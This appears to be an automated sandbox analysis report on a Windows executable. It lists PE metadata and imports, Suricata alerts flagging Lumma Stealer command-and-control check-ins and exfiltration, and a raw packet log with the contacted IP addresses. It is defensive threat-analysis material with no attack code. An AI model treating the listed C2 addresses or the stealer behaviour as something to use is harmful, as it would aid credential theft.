cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0xbae6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x113a71	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0xbae6	0xbc00	53a0e20d0e93d5c84f251883eb01c2a0	False	0.8129155585106383	data	7.234982119539355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x100000	0xf32	0x1000	4372b842f9b7ca93173847b292d889c8	False	0.60009765625	data	5.523530536367582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4250	0x5939	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	0.9990368197539512
RT_ICON	0xf9b8c	0x1dc4	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0014435695538058
RT_ICON	0xfb950	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.47589503661513427
RT_ICON	0xfdfb8	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.5450819672131147
RT_ICON	0xff0e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6648936170212766
RT_DIALOG	0xff548	0x100	data	English	United States	0.5234375
RT_DIALOG	0xff648	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xff764	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xff7c4	0x4c	data	English	United States	0.8026315789473685
RT_MANIFEST	0xff810	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T19:50:15.504010+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.97.3	443	TCP
2025-01-05T19:50:15.982186+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49736	188.114.97.3	443	TCP
2025-01-05T19:50:15.982186+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49736	188.114.97.3	443	TCP
2025-01-05T19:50:16.467762+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	188.114.97.3	443	TCP
2025-01-05T19:50:16.909754+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49738	188.114.97.3	443	TCP
2025-01-05T19:50:16.909754+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	188.114.97.3	443	TCP
2025-01-05T19:50:17.553952+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	188.114.97.3	443	TCP
2025-01-05T19:50:18.779937+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	188.114.97.3	443	TCP
2025-01-05T19:50:20.177924+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	188.114.97.3	443	TCP
2025-01-05T19:50:21.467805+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	188.114.97.3	443	TCP
2025-01-05T19:50:22.250923+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49742	188.114.97.3	443	TCP
2025-01-05T19:50:22.746589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	188.114.97.3	443	TCP
2025-01-05T19:50:23.763980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	188.114.97.3	443	TCP
2025-01-05T19:50:24.514683+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	188.114.97.3	443	TCP
2025-01-05T19:50:25.283541+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	185.161.251.21	443	TCP
2025-01-05T19:50:26.060636+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.208.58	443	TCP
2025-01-05T19:50:26.438702+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	172.67.208.58	443	192.168.2.4	49746	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 19:50:15.039433956 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.039460897 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.039539099 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.042814970 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.042829990 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.503931046 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.504009962 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.507239103 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.507247925 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.507455111 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.550066948 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.559279919 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.559295893 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.559346914 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.982187033 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.982263088 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.982331991 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.984714985 CET	49736	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.984730959 CET	443	49736	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.990807056 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.990825891 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:15.990940094 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.991204977 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:15.991221905 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.467679024 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.467761993 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.469252110 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.469259024 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.469456911 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.477617979 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.477632999 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.477674961 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.909764051 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.909806967 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.909836054 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.909874916 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.909890890 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.909904003 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.909924030 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.910471916 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.910521030 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.910526991 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.910887957 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.910918951 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.910937071 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.910944939 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.911004066 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.914498091 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:16.956310034 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:16.956322908 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001169920 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001219034 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.001228094 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001334906 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001389980 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.001395941 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001501083 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001540899 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.001547098 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001570940 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001621008 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.001702070 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.001713037 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.001725912 CET	49738	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.001730919 CET	443	49738	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.071722984 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.071755886 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.071852922 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.072140932 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.072149038 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.553877115 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.553951979 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.555131912 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.555138111 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.555341959 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.562292099 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.562417030 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.562446117 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:17.562505007 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:17.562511921 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.301934004 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.302018881 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.302076101 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.303970098 CET	49739	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.303985119 CET	443	49739	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.320797920 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.320832014 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.320915937 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.321222067 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.321233988 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.779845953 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.779937029 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.781148911 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.781155109 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.781354904 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:18.782509089 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.782630920 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:18.782659054 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:19.634865046 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:19.634941101 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:19.635031939 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:19.635096073 CET	49740	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:19.635111094 CET	443	49740	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:19.684695959 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:19.684736967 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:19.684804916 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:19.685086012 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:19.685101986 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.177822113 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.177923918 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:20.179111958 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:20.179121017 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.179333925 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.180608988 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:20.180742979 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:20.180778027 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.180839062 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:20.180847883 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.836460114 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.836555958 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:20.836607933 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:20.836760998 CET	49741	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:20.836777925 CET	443	49741	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:21.001080036 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:21.001113892 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:21.001176119 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:21.001795053 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:21.001801014 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:21.467684031 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:21.467804909 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:21.469271898 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:21.469280958 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:21.469480038 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:21.470655918 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:21.470751047 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:21.470755100 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.250900984 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.250973940 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.251131058 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.251194000 CET	49742	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.251210928 CET	443	49742	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.290304899 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.290347099 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.290426970 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.290724993 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.290739059 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.746522903 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.746588945 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.747730970 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.747737885 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.747944117 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:22.749089003 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.749188900 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:22.749195099 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.276422024 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.276504040 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.276551962 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.276674032 CET	49743	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.276690006 CET	443	49743	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.279575109 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.279609919 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.279683113 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.279954910 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.279963970 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.763900042 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.763979912 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.765119076 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.765125990 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.765322924 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:23.766660929 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.766693115 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:23.766719103 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:24.514687061 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:24.514758110 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:24.514823914 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:24.515021086 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:24.515021086 CET	49744	443	192.168.2.4	188.114.97.3
Jan 5, 2025 19:50:24.515037060 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:24.515044928 CET	443	49744	188.114.97.3	192.168.2.4
Jan 5, 2025 19:50:24.625053883 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:24.625098944 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:24.625260115 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:24.625583887 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:24.625600100 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.283463001 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.283540964 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:25.287446976 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:25.287456989 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.287662029 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.288733959 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:25.331340075 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.553345919 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.553395033 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.553452015 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:25.553659916 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:25.553677082 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.553687096 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 19:50:25.553692102 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 19:50:25.598754883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:25.598786116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:25.598858118 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:25.599208117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:25.599220037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.060559034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.060636044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.063976049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.063982010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.064189911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.065404892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.111329079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.354846954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.354935884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.354968071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.354986906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.354999065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.355011940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.355037928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.355073929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.355108023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.355114937 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.355124950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.355169058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.355175018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.359625101 CET	443	49746	172.67.208.58	192.168.2.4
